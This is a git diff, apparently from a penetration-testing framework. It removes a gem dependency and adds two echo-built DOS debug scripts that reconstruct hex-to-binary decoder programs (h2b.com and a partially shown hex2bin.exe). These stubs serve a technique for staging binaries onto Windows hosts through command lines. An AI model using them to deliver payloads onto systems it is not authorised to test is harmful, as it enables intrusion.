parent
b77a910205
commit
f3166070ba
|
@ -37,7 +37,6 @@ PATH
|
|||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
rex-exploitation
|
||||
rex-java
|
||||
rex-mime
|
||||
rex-nop
|
||||
|
@ -250,12 +249,6 @@ GEM
|
|||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.0)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rex-java (0.1.2)
|
||||
rex-mime (0.1.1)
|
||||
rex-text
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
echo a 0100 >>decoder_stub
|
||||
echo jmp 197 >>decoder_stub
|
||||
echo mov bx,[1bd] >>decoder_stub
|
||||
echo call 131 >>decoder_stub
|
||||
echo mov bx,[1cc] >>decoder_stub
|
||||
echo call 131 >>decoder_stub
|
||||
echo mov ax,4c00 >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo mov ah,3d >>decoder_stub
|
||||
echo mov al,00 >>decoder_stub
|
||||
echo mov dx,1bf >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo mov [1bd],ax >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov ah,3c >>decoder_stub
|
||||
echo mov cx,2 >>decoder_stub
|
||||
echo mov dx,1ce >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo mov [1cc],ax >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov ax,3e00 >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov bx,[1bd] >>decoder_stub
|
||||
echo mov ax,3f00 >>decoder_stub
|
||||
echo mov cx,100 >>decoder_stub
|
||||
echo mov dx,0200 >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo cmp ax,2 >>decoder_stub
|
||||
echo ja 151 >>decoder_stub
|
||||
echo call 178 >>decoder_stub
|
||||
echo call 103 >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov ah,0 >>decoder_stub
|
||||
echo or al,20 >>decoder_stub
|
||||
echo sub al,30 >>decoder_stub
|
||||
echo cmp al,9 >>decoder_stub
|
||||
echo jbe 164 >>decoder_stub
|
||||
echo sub al,31 >>decoder_stub
|
||||
echo cmp al,5 >>decoder_stub
|
||||
echo ja 165 >>decoder_stub
|
||||
echo add al,a >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov ah,ff >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo cmp bp,0 >>decoder_stub
|
||||
echo jne 175 >>decoder_stub
|
||||
echo call 137 >>decoder_stub
|
||||
echo mov bp,ax >>decoder_stub
|
||||
echo mov si,200 >>decoder_stub
|
||||
echo lodsb >>decoder_stub
|
||||
echo dec bp >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo mov cx,di >>decoder_stub
|
||||
echo sub cx,300 >>decoder_stub
|
||||
echo mov bx,[1cc] >>decoder_stub
|
||||
echo mov ax,4000 >>decoder_stub
|
||||
echo mov dx,0300 >>decoder_stub
|
||||
echo int 21 >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo call 168 >>decoder_stub
|
||||
echo call 152 >>decoder_stub
|
||||
echo cmp ah,0 >>decoder_stub
|
||||
echo jne 18b >>decoder_stub
|
||||
echo ret >>decoder_stub
|
||||
echo call 116 >>decoder_stub
|
||||
echo call 123 >>decoder_stub
|
||||
echo mov bp,0 >>decoder_stub
|
||||
echo mov di,300 >>decoder_stub
|
||||
echo call 18b >>decoder_stub
|
||||
echo mov cx,1000 >>decoder_stub
|
||||
echo mul cx >>decoder_stub
|
||||
echo push ax >>decoder_stub
|
||||
echo call 18b >>decoder_stub
|
||||
echo pop dx >>decoder_stub
|
||||
echo or al,dh >>decoder_stub
|
||||
echo stosb >>decoder_stub
|
||||
echo cmp bp, 0 >>decoder_stub
|
||||
echo jne 1a3 >>decoder_stub
|
||||
echo call 178 >>decoder_stub
|
||||
echo jmp 1a0 >>decoder_stub
|
||||
echo db 00,00 >>decoder_stub
|
||||
echo db "testfile.dat",00 >>decoder_stub
|
||||
echo db 00,00 >>decoder_stub
|
||||
echo db "testfile.out",00 >>decoder_stub
|
||||
echo >>decoder_stub
|
||||
echo r cx >>decoder_stub
|
||||
echo 0400 >>decoder_stub
|
||||
echo n h2b.com >>decoder_stub
|
||||
echo w >>decoder_stub
|
||||
echo q >>decoder_stub
|
|
@ -0,0 +1,819 @@
|
|||
echo n decoder_stub.bin > decoder_stub
|
||||
echo r cx >>decoder_stub
|
||||
echo 1400 >>decoder_stub
|
||||
echo f 0100 ffff 00 >>decoder_stub
|
||||
echo e 100 4d 5a 90 >>decoder_stub
|
||||
echo e 104 03 >>decoder_stub
|
||||
echo e 108 04 >>decoder_stub
|
||||
echo e 10c ff ff >>decoder_stub
|
||||
echo e 110 b8 >>decoder_stub
|
||||
echo e 118 40 >>decoder_stub
|
||||
echo e 13c 80 >>decoder_stub
|
||||
echo e 140 0e 1f ba 0e >>decoder_stub
|
||||
echo e 145 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 >>decoder_stub
|
||||
echo e 159 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 >>decoder_stub
|
||||
echo e 16d 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 >>decoder_stub
|
||||
echo e 180 50 45 >>decoder_stub
|
||||
echo e 184 4c 01 03 >>decoder_stub
|
||||
echo e 188 85 18 7c 48 >>decoder_stub
|
||||
echo e 194 e0 >>decoder_stub
|
||||
echo e 196 0e 01 0b 01 08 >>decoder_stub
|
||||
echo e 19d 0a >>decoder_stub
|
||||
echo e 1a1 08 >>decoder_stub
|
||||
echo e 1a8 be 28 >>decoder_stub
|
||||
echo e 1ad 20 >>decoder_stub
|
||||
echo e 1b1 40 >>decoder_stub
|
||||
echo e 1b6 40 >>decoder_stub
|
||||
echo e 1b9 20 >>decoder_stub
|
||||
echo e 1bd 02 >>decoder_stub
|
||||
echo e 1c0 04 >>decoder_stub
|
||||
echo e 1c8 04 >>decoder_stub
|
||||
echo e 1d1 80 >>decoder_stub
|
||||
echo e 1d5 02 >>decoder_stub
|
||||
echo e 1dc 03 >>decoder_stub
|
||||
echo e 1de 40 05 >>decoder_stub
|
||||
echo e 1e2 10 >>decoder_stub
|
||||
echo e 1e5 10 >>decoder_stub
|
||||
echo e 1ea 10 >>decoder_stub
|
||||
echo e 1ed 10 >>decoder_stub
|
||||
echo e 1f4 10 >>decoder_stub
|
||||
echo e 200 6c 28 >>decoder_stub
|
||||
echo e 204 4f >>decoder_stub
|
||||
echo e 209 40 >>decoder_stub
|
||||
echo e 20c 30 05 >>decoder_stub
|
||||
echo e 221 60 >>decoder_stub
|
||||
echo e 224 0c >>decoder_stub
|
||||
echo e 228 fc 27 >>decoder_stub
|
||||
echo e 22c 1c >>decoder_stub
|
||||
echo e 259 20 >>decoder_stub
|
||||
echo e 25c 08 >>decoder_stub
|
||||
echo e 268 08 20 >>decoder_stub
|
||||
echo e 26c 48 >>decoder_stub
|
||||
echo e 278 2e 74 65 78 74 >>decoder_stub
|
||||
echo e 280 c4 08 >>decoder_stub
|
||||
echo e 285 20 >>decoder_stub
|
||||
echo e 289 0a >>decoder_stub
|
||||
echo e 28d 02 >>decoder_stub
|
||||
echo e 29c 20 >>decoder_stub
|
||||
echo e 29f 60 2e 72 73 72 63 >>decoder_stub
|
||||
echo e 2a8 30 05 >>decoder_stub
|
||||
echo e 2ad 40 >>decoder_stub
|
||||
echo e 2b1 06 >>decoder_stub
|
||||
echo e 2b5 0c >>decoder_stub
|
||||
echo e 2c4 40 >>decoder_stub
|
||||
echo e 2c7 40 2e 72 65 6c 6f 63 >>decoder_stub
|
||||
echo e 2d0 0c >>decoder_stub
|
||||
echo e 2d5 60 >>decoder_stub
|
||||
echo e 2d9 02 >>decoder_stub
|
||||
echo e 2dd 12 >>decoder_stub
|
||||
echo e 2ec 40 >>decoder_stub
|
||||
echo e 2ef 42 >>decoder_stub
|
||||
echo e 300 a0 28 >>decoder_stub
|
||||
echo e 308 48 >>decoder_stub
|
||||
echo e 30c 02 >>decoder_stub
|
||||
echo e 30e 05 >>decoder_stub
|
||||
echo e 310 24 21 >>decoder_stub
|
||||
echo e 314 d8 06 >>decoder_stub
|
||||
echo e 318 01 >>decoder_stub
|
||||
echo e 31c 01 >>decoder_stub
|
||||
echo e 31f 06 >>decoder_stub
|
||||
echo e 350 13 30 04 >>decoder_stub
|
||||
echo e 354 be >>decoder_stub
|
||||
echo e 358 01 >>decoder_stub
|
||||
echo e 35b 11 >>decoder_stub
|
||||
echo e 35d 02 8e 69 17 fe 01 13 06 11 06 2d 12 >>decoder_stub
|
||||
echo e 36a 72 01 >>decoder_stub
|
||||
echo e 36e 70 28 10 >>decoder_stub
|
||||
echo e 373 0a >>decoder_stub
|
||||
echo e 376 38 9e >>decoder_stub
|
||||
echo e 37c 02 16 9a 28 11 >>decoder_stub
|
||||
echo e 383 0a 72 4b >>decoder_stub
|
||||
echo e 388 70 72 4f >>decoder_stub
|
||||
echo e 38d 70 6f 12 >>decoder_stub
|
||||
echo e 392 0a 72 51 >>decoder_stub
|
||||
echo e 397 70 72 4f >>decoder_stub
|
||||
echo e 39c 70 6f 12 >>decoder_stub
|
||||
echo e 3a1 0a 0a 06 6f 13 >>decoder_stub
|
||||
echo e 3a8 0a 18 5b 8d 15 >>decoder_stub
|
||||
echo e 3af 01 0b 16 0c 72 4f >>decoder_stub
|
||||
echo e 3b7 70 0d 16 13 04 2b 21 >>decoder_stub
|
||||
echo e 3bf 06 11 04 18 6f 14 >>decoder_stub
|
||||
echo e 3c7 0a 0d 07 08 09 1f 10 28 15 >>decoder_stub
|
||||
echo e 3d2 0a 9c 08 17 58 0c >>decoder_stub
|
||||
echo e 3d9 11 04 18 58 13 04 11 04 06 6f 13 >>decoder_stub
|
||||
echo e 3e6 0a fe 04 13 06 11 06 2d cf 02 16 9a 72 55 >>decoder_stub
|
||||
echo e 3f6 70 28 16 >>decoder_stub
|
||||
echo e 3fb 0a 28 17 >>decoder_stub
|
||||
echo e 400 0a 13 05 11 05 07 16 07 8e 69 6f 18 >>decoder_stub
|
||||
echo e 40e 0a >>decoder_stub
|
||||
echo e 410 11 05 6f 19 >>decoder_stub
|
||||
echo e 416 0a >>decoder_stub
|
||||
echo e 419 2a 1e 02 28 1a >>decoder_stub
|
||||
echo e 420 0a 2a >>decoder_stub
|
||||
echo e 424 42 53 4a 42 01 >>decoder_stub
|
||||
echo e 42a 01 >>decoder_stub
|
||||
echo e 430 0c >>decoder_stub
|
||||
echo e 434 76 32 2e 30 2e 35 30 37 32 37 >>decoder_stub
|
||||
echo e 442 05 >>decoder_stub
|
||||
echo e 444 6c >>decoder_stub
|
||||
echo e 448 30 02 >>decoder_stub
|
||||
echo e 44c 23 7e >>decoder_stub
|
||||
echo e 450 9c 02 >>decoder_stub
|
||||
echo e 454 d0 02 >>decoder_stub
|
||||
echo e 458 23 53 74 72 69 6e 67 73 >>decoder_stub
|
||||
echo e 464 6c 05 >>decoder_stub
|
||||
echo e 468 60 >>decoder_stub
|
||||
echo e 46c 23 55 53 >>decoder_stub
|
||||
echo e 470 cc 05 >>decoder_stub
|
||||
echo e 474 10 >>decoder_stub
|
||||
echo e 478 23 47 55 49 44 >>decoder_stub
|
||||
echo e 480 dc 05 >>decoder_stub
|
||||
echo e 484 fc >>decoder_stub
|
||||
echo e 488 23 42 6c 6f 62 >>decoder_stub
|
||||
echo e 494 02 >>decoder_stub
|
||||
echo e 497 01 47 15 02 >>decoder_stub
|
||||
echo e 49c 09 >>decoder_stub
|
||||
echo e 4a1 fa 01 33 >>decoder_stub
|
||||
echo e 4a5 16 >>decoder_stub
|
||||
echo e 4a8 01 >>decoder_stub
|
||||
echo e 4ac 18 >>decoder_stub
|
||||
echo e 4b0 02 >>decoder_stub
|
||||
echo e 4b4 02 >>decoder_stub
|
||||
echo e 4b8 01 >>decoder_stub
|
||||
echo e 4bc 1a >>decoder_stub
|
||||
echo e 4c0 0d >>decoder_stub
|
||||
echo e 4c4 01 >>decoder_stub
|
||||
echo e 4c8 01 >>decoder_stub
|
||||
echo e 4cc 01 >>decoder_stub
|
||||
echo e 4d2 0a >>decoder_stub
|
||||
echo e 4d4 01 >>decoder_stub
|
||||
echo e 4da 06 >>decoder_stub
|
||||
echo e 4dc 36 >>decoder_stub
|
||||
echo e 4de 2f >>decoder_stub
|
||||
echo e 4e0 06 >>decoder_stub
|
||||
echo e 4e2 5f >>decoder_stub
|
||||
echo e 4e4 4d >>decoder_stub
|
||||
echo e 4e6 06 >>decoder_stub
|
||||
echo e 4e8 76 >>decoder_stub
|
||||
echo e 4ea 4d >>decoder_stub
|
||||
echo e 4ec 06 >>decoder_stub
|
||||
echo e 4ee 93 >>decoder_stub
|
||||
echo e 4f0 4d >>decoder_stub
|
||||
echo e 4f2 06 >>decoder_stub
|
||||
echo e 4f4 b2 >>decoder_stub
|
||||
echo e 4f6 4d >>decoder_stub
|
||||
echo e 4f8 06 >>decoder_stub
|
||||
echo e 4fa cb >>decoder_stub
|
||||
echo e 4fc 4d >>decoder_stub
|
||||
echo e 4fe 06 >>decoder_stub
|
||||
echo e 500 e4 >>decoder_stub
|
||||
echo e 502 4d >>decoder_stub
|
||||
echo e 504 06 >>decoder_stub
|
||||
echo e 506 ff >>decoder_stub
|
||||
echo e 508 4d >>decoder_stub
|
||||
echo e 50a 06 >>decoder_stub
|
||||
echo e 50c 1a 01 4d >>decoder_stub
|
||||
echo e 510 06 >>decoder_stub
|
||||
echo e 512 52 01 33 01 06 >>decoder_stub
|
||||
echo e 518 66 01 33 01 06 >>decoder_stub
|
||||
echo e 51e 74 01 4d >>decoder_stub
|
||||
echo e 522 06 >>decoder_stub
|
||||
echo e 524 8d 01 4d >>decoder_stub
|
||||
echo e 528 06 >>decoder_stub
|
||||
echo e 52a bd 01 aa 01 3b >>decoder_stub
|
||||
echo e 530 d1 01 >>decoder_stub
|
||||
echo e 534 06 >>decoder_stub
|
||||
echo e 537 02 e0 01 06 >>decoder_stub
|
||||
echo e 53c 20 02 e0 01 06 >>decoder_stub
|
||||
echo e 542 3e 02 2f >>decoder_stub
|
||||
echo e 546 06 >>decoder_stub
|
||||
echo e 548 5a 02 50 02 06 >>decoder_stub
|
||||
echo e 54e 6b 02 2f >>decoder_stub
|
||||
echo e 552 06 >>decoder_stub
|
||||
echo e 554 85 02 2f >>decoder_stub
|
||||
echo e 558 06 >>decoder_stub
|
||||
echo e 55a 94 02 2f >>decoder_stub
|
||||
echo e 55e 06 >>decoder_stub
|
||||
echo e 560 aa 02 50 02 06 >>decoder_stub
|
||||
echo e 566 bc 02 50 02 >>decoder_stub
|
||||
echo e 56e 01 >>decoder_stub
|
||||
echo e 574 01 >>decoder_stub
|
||||
echo e 576 01 >>decoder_stub
|
||||
echo e 57a 10 >>decoder_stub
|
||||
echo e 57c 16 >>decoder_stub
|
||||
echo e 57e 1e >>decoder_stub
|
||||
echo e 580 05 >>decoder_stub
|
||||
echo e 582 01 >>decoder_stub
|
||||
echo e 584 01 >>decoder_stub
|
||||
echo e 586 50 20 >>decoder_stub
|
||||
echo e 58c 91 >>decoder_stub
|
||||
echo e 58e 3d >>decoder_stub
|
||||
echo e 590 0a >>decoder_stub
|
||||
echo e 592 01 >>decoder_stub
|
||||
echo e 594 1a 21 >>decoder_stub
|
||||
echo e 59a 86 18 42 >>decoder_stub
|
||||
echo e 59e 10 >>decoder_stub
|
||||
echo e 5a0 02 >>decoder_stub
|
||||
echo e 5a4 01 >>decoder_stub
|
||||
echo e 5a6 48 >>decoder_stub
|
||||
echo e 5a8 11 >>decoder_stub
|
||||
echo e 5aa 42 >>decoder_stub
|
||||
echo e 5ac 14 >>decoder_stub
|
||||
echo e 5ae 19 >>decoder_stub
|
||||
echo e 5b0 42 >>decoder_stub
|
||||
echo e 5b2 14 >>decoder_stub
|
||||
echo e 5b4 21 >>decoder_stub
|
||||
echo e 5b6 42 >>decoder_stub
|
||||
echo e 5b8 14 >>decoder_stub
|
||||
echo e 5ba 29 >>decoder_stub
|
||||
echo e 5bc 42 >>decoder_stub
|
||||
echo e 5be 14 >>decoder_stub
|
||||
echo e 5c0 31 >>decoder_stub
|
||||
echo e 5c2 42 >>decoder_stub
|
||||
echo e 5c4 14 >>decoder_stub
|
||||
echo e 5c6 39 >>decoder_stub
|
||||
echo e 5c8 42 >>decoder_stub
|
||||
echo e 5ca 14 >>decoder_stub
|
||||
echo e 5cc 41 >>decoder_stub
|
||||
echo e 5ce 42 >>decoder_stub
|
||||
echo e 5d0 14 >>decoder_stub
|
||||
echo e 5d2 49 >>decoder_stub
|
||||
echo e 5d4 42 >>decoder_stub
|
||||
echo e 5d6 14 >>decoder_stub
|
||||
echo e 5d8 51 >>decoder_stub
|
||||
echo e 5da 42 >>decoder_stub
|
||||
echo e 5dc 19 >>decoder_stub
|
||||
echo e 5de 59 >>decoder_stub
|
||||
echo e 5e0 42 >>decoder_stub
|
||||
echo e 5e2 14 >>decoder_stub
|
||||
echo e 5e4 61 >>decoder_stub
|
||||
echo e 5e6 42 >>decoder_stub
|
||||
echo e 5e8 14 >>decoder_stub
|
||||
echo e 5ea 69 >>decoder_stub
|
||||
echo e 5ec 42 >>decoder_stub
|
||||
echo e 5ee 14 >>decoder_stub
|
||||
echo e 5f0 71 >>decoder_stub
|
||||
echo e 5f2 42 >>decoder_stub
|
||||
echo e 5f4 1e >>decoder_stub
|
||||
echo e 5f6 81 >>decoder_stub
|
||||
echo e 5f8 42 >>decoder_stub
|
||||
echo e 5fa 24 >>decoder_stub
|
||||
echo e 5fc 89 >>decoder_stub
|
||||
echo e 5fe 42 >>decoder_stub
|
||||
echo e 600 10 >>decoder_stub
|
||||
echo e 602 91 >>decoder_stub
|
||||
echo e 604 46 02 29 >>decoder_stub
|
||||
echo e 608 99 >>decoder_stub
|
||||
echo e 60a 5f 02 2e >>decoder_stub
|
||||
echo e 60e a1 >>decoder_stub
|
||||
echo e 610 72 02 33 >>decoder_stub
|
||||
echo e 614 a1 >>decoder_stub
|
||||
echo e 616 7a 02 39 >>decoder_stub
|
||||
echo e 61a a1 >>decoder_stub
|
||||
echo e 61c 8a 02 3d >>decoder_stub
|
||||
echo e 620 b1 >>decoder_stub
|
||||
echo e 622 9c 02 43 >>decoder_stub
|
||||
echo e 626 a1 >>decoder_stub
|
||||
echo e 628 a3 02 49 >>decoder_stub
|
||||
echo e 62c 99 >>decoder_stub
|
||||
echo e 62e b5 02 4f >>decoder_stub
|
||||
echo e 632 c1 >>decoder_stub
|
||||
echo e 634 c3 02 55 >>decoder_stub
|
||||
echo e 638 c1 >>decoder_stub
|
||||
echo e 63a c9 02 10 >>decoder_stub
|
||||
echo e 63e 09 >>decoder_stub
|
||||
echo e 640 42 >>decoder_stub
|
||||
echo e 642 10 >>decoder_stub
|
||||
echo e 644 2e >>decoder_stub
|
||||
echo e 646 0b >>decoder_stub
|
||||
echo e 648 69 >>decoder_stub
|
||||
echo e 64a 2e >>decoder_stub
|
||||
echo e 64c 13 >>decoder_stub
|
||||
echo e 64e 76 >>decoder_stub
|
||||
echo e 650 2e >>decoder_stub
|
||||
echo e 652 1b >>decoder_stub
|
||||
echo e 654 76 >>decoder_stub
|
||||
echo e 656 2e >>decoder_stub
|
||||
echo e 658 23 >>decoder_stub
|
||||
echo e 65a 76 >>decoder_stub
|
||||
echo e 65c 2e >>decoder_stub
|
||||
echo e 65e 2b >>decoder_stub
|
||||
echo e 660 69 >>decoder_stub
|
||||
echo e 662 2e >>decoder_stub
|
||||
echo e 664 33 >>decoder_stub
|
||||
echo e 666 7c >>decoder_stub
|
||||
echo e 668 2e >>decoder_stub
|
||||
echo e 66a 3b >>decoder_stub
|
||||
echo e 66c 76 >>decoder_stub
|
||||
echo e 66e 2e >>decoder_stub
|
||||
echo e 670 4b >>decoder_stub
|
||||
echo e 672 76 >>decoder_stub
|
||||
echo e 674 2e >>decoder_stub
|
||||
echo e 676 53 >>decoder_stub
|
||||
echo e 678 94 >>decoder_stub
|
||||
echo e 67a 2e >>decoder_stub
|
||||
echo e 67c 63 >>decoder_stub
|
||||
echo e 67e be >>decoder_stub
|
||||
echo e 680 2e >>decoder_stub
|
||||
echo e 682 6b >>decoder_stub
|
||||
echo e 684 cb >>decoder_stub
|
||||
echo e 686 2e >>decoder_stub
|
||||
echo e 688 73 >>decoder_stub
|
||||
echo e 68a d4 >>decoder_stub
|
||||
echo e 68c 2e >>decoder_stub
|
||||
echo e 68e 7b >>decoder_stub
|
||||
echo e 690 dd >>decoder_stub
|
||||
echo e 692 5d >>decoder_stub
|
||||
echo e 694 04 80 >>decoder_stub
|
||||
echo e 698 01 >>decoder_stub
|
||||
echo e 6a6 1e >>decoder_stub
|
||||
echo e 6aa 02 >>decoder_stub
|
||||
echo e 6b6 01 >>decoder_stub
|
||||
echo e 6b8 26 >>decoder_stub
|
||||
echo e 6c1 3c 4d 6f 64 75 6c 65 3e >>decoder_stub
|
||||
echo e 6ca 68 65 78 32 62 69 6e 2e 65 78 65 >>decoder_stub
|
||||
echo e 6d6 50 72 6f 67 72 61 6d >>decoder_stub
|
||||
echo e 6de 68 65 78 32 62 69 6e >>decoder_stub
|
||||
echo e 6e6 6d 73 63 6f 72 6c 69 62 >>decoder_stub
|
||||
echo e 6ef 53 79 73 74 65 6d >>decoder_stub
|
||||
echo e 6f6 4f 62 6a 65 63 74 >>decoder_stub
|
||||
echo e 6fd 4d 61 69 6e >>decoder_stub
|
||||
echo e 702 2e 63 74 6f 72 >>decoder_stub
|
||||
echo e 708 61 72 67 73 >>decoder_stub
|
||||
echo e 70d 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e >>decoder_stub
|
||||
echo e 71f 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 41 74 74 72 69 62 75 >>decoder_stub
|
||||
echo e 733 74 65 >>decoder_stub
|
||||
echo e 736 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 6e 41 >>decoder_stub
|
||||
echo e 74a 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 753 41 73 73 65 6d 62 6c 79 43 6f 6e 66 69 67 75 72 61 74 69 6f >>decoder_stub
|
||||
echo e 767 6e 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 772 41 73 73 65 6d 62 6c 79 43 6f 6d 70 61 6e 79 41 74 74 72 69 >>decoder_stub
|
||||
echo e 786 62 75 74 65 >>decoder_stub
|
||||
echo e 78b 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 >>decoder_stub
|
||||
echo e 79f 62 75 74 65 >>decoder_stub
|
||||
echo e 7a4 41 73 73 65 6d 62 6c 79 43 6f 70 79 72 69 67 68 74 41 74 74 >>decoder_stub
|
||||
echo e 7b8 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 7bf 41 73 73 65 6d 62 6c 79 54 72 61 64 65 6d 61 72 6b 41 74 74 >>decoder_stub
|
||||
echo e 7d3 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 7da 41 73 73 65 6d 62 6c 79 43 75 6c 74 75 72 65 41 74 74 72 69 >>decoder_stub
|
||||
echo e 7ee 62 75 74 65 >>decoder_stub
|
||||
echo e 7f3 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 >>decoder_stub
|
||||
echo e 807 6f 70 53 65 72 76 69 63 65 73 >>decoder_stub
|
||||
echo e 812 43 6f 6d 56 69 73 69 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 826 47 75 69 64 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 834 41 73 73 65 6d 62 6c 79 56 65 72 73 69 6f 6e 41 74 74 72 69 >>decoder_stub
|
||||
echo e 848 62 75 74 65 >>decoder_stub
|
||||
echo e 84d 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 >>decoder_stub
|
||||
echo e 861 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 86a 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 >>decoder_stub
|
||||
echo e 87d 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 891 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 >>decoder_stub
|
||||
echo e 8a0 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 >>decoder_stub
|
||||
echo e 8b4 6c 65 72 53 65 72 76 69 63 65 73 >>decoder_stub
|
||||
echo e 8c0 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f >>decoder_stub
|
||||
echo e 8d4 6e 73 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 8e0 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 >>decoder_stub
|
||||
echo e 8f4 41 74 74 72 69 62 75 74 65 >>decoder_stub
|
||||
echo e 8fe 43 6f 6e 73 6f 6c 65 >>decoder_stub
|
||||
echo e 906 57 72 69 74 65 4c 69 6e 65 >>decoder_stub
|
||||
echo e 910 53 79 73 74 65 6d 2e 49 4f >>decoder_stub
|
||||
echo e 91a 46 69 6c 65 >>decoder_stub
|
||||
echo e 91f 52 65 61 64 41 6c 6c 54 65 78 74 >>decoder_stub
|
||||
echo e 92b 53 74 72 69 6e 67 >>decoder_stub
|
||||
echo e 932 52 65 70 6c 61 63 65 >>decoder_stub
|
||||
echo e 93a 67 65 74 5f 4c 65 6e 67 74 68 >>decoder_stub
|
||||
echo e 945 42 79 74 65 >>decoder_stub
|
||||
echo e 94a 53 75 62 73 74 72 69 6e 67 >>decoder_stub
|
||||
echo e 954 43 6f 6e 76 65 72 74 >>decoder_stub
|
||||
echo e 95c 54 6f 42 79 74 65 >>decoder_stub
|
||||
echo e 963 43 6f 6e 63 61 74 >>decoder_stub
|
||||
echo e 96a 46 69 6c 65 53 74 72 65 61 6d >>decoder_stub
|
||||
echo e 975 43 72 65 61 74 65 >>decoder_stub
|
||||
echo e 97c 53 74 72 65 61 6d >>decoder_stub
|
||||
echo e 983 57 72 69 74 65 >>decoder_stub
|
||||
echo e 989 43 6c 6f 73 65 >>decoder_stub
|
||||
echo e 991 49 55 >>decoder_stub
|
||||
echo e 994 73 >>decoder_stub
|
||||
echo e 996 61 >>decoder_stub
|
||||
echo e 998 67 >>decoder_stub
|
||||
echo e 99a 65 >>decoder_stub
|
||||
echo e 99c 3a >>decoder_stub
|
||||
echo e 99e 20 >>decoder_stub
|
||||
echo e 9a0 20 >>decoder_stub
|
||||
echo e 9a2 20 >>decoder_stub
|
||||
echo e 9a4 68 >>decoder_stub
|
||||
echo e 9a6 65 >>decoder_stub
|
||||
echo e 9a8 78 >>decoder_stub
|
||||
echo e 9aa 32 >>decoder_stub
|
||||
echo e 9ac 62 >>decoder_stub
|
||||
echo e 9ae 69 >>decoder_stub
|
||||
echo e 9b0 6e >>decoder_stub
|
||||
echo e 9b2 2e >>decoder_stub
|
||||
echo e 9b4 65 >>decoder_stub
|
||||
echo e 9b6 78 >>decoder_stub
|
||||
echo e 9b8 65 >>decoder_stub
|
||||
echo e 9ba 20 >>decoder_stub
|
||||
echo e 9bc 3c >>decoder_stub
|
||||
echo e 9be 68 >>decoder_stub
|
||||
echo e 9c0 65 >>decoder_stub
|
||||
echo e 9c2 78 >>decoder_stub
|
||||
echo e 9c4 69 >>decoder_stub
|
||||
echo e 9c6 6e >>decoder_stub
|
||||
echo e 9c8 70 >>decoder_stub
|
||||
echo e 9ca 75 >>decoder_stub
|
||||
echo e 9cc 74 >>decoder_stub
|
||||
echo e 9ce 66 >>decoder_stub
|
||||
echo e 9d0 69 >>decoder_stub
|
||||
echo e 9d2 6c >>decoder_stub
|
||||
echo e 9d4 65 >>decoder_stub
|
||||
echo e 9d6 3e >>decoder_stub
|
||||
echo e 9d8 08 >>decoder_stub
|
||||
echo e 9da 01 03 0d >>decoder_stub
|
||||
echo e 9df 01 >>decoder_stub
|
||||
echo e 9e1 03 0a >>decoder_stub
|
||||
echo e 9e5 09 2e >>decoder_stub
|
||||
echo e 9e8 65 >>decoder_stub
|
||||
echo e 9ea 78 >>decoder_stub
|
||||
echo e 9ec 65 >>decoder_stub
|
||||
echo e 9f0 06 24 bb c2 bc b7 11 40 bf c4 9c a7 d7 ed 8c f2 >>decoder_stub
|
||||
echo e a01 08 b7 7a 5c 56 19 34 e0 89 05 >>decoder_stub
|
||||
echo e a0c 01 01 1d 0e 03 20 >>decoder_stub
|
||||
echo e a13 01 04 20 01 01 0e 04 20 01 01 02 05 20 01 01 11 3d 04 20 01 >>decoder_stub
|
||||
echo e a27 01 08 04 >>decoder_stub
|
||||
echo e a2b 01 01 0e 04 >>decoder_stub
|
||||
echo e a30 01 0e 0e 05 20 02 0e 0e 0e 03 20 >>decoder_stub
|
||||
echo e a3c 08 05 20 02 0e 08 08 05 >>decoder_stub
|
||||
echo e a45 02 05 0e 08 05 >>decoder_stub
|
||||
echo e a4b 02 0e 0e 0e 05 >>decoder_stub
|
||||
echo e a51 01 12 5d 0e 07 20 03 01 1d 05 08 08 0b 07 07 0e 1d 05 08 0e >>decoder_stub
|
||||
echo e a65 08 12 5d 02 0c 01 >>decoder_stub
|
||||
echo e a6c 07 68 65 78 32 62 69 6e >>decoder_stub
|
||||
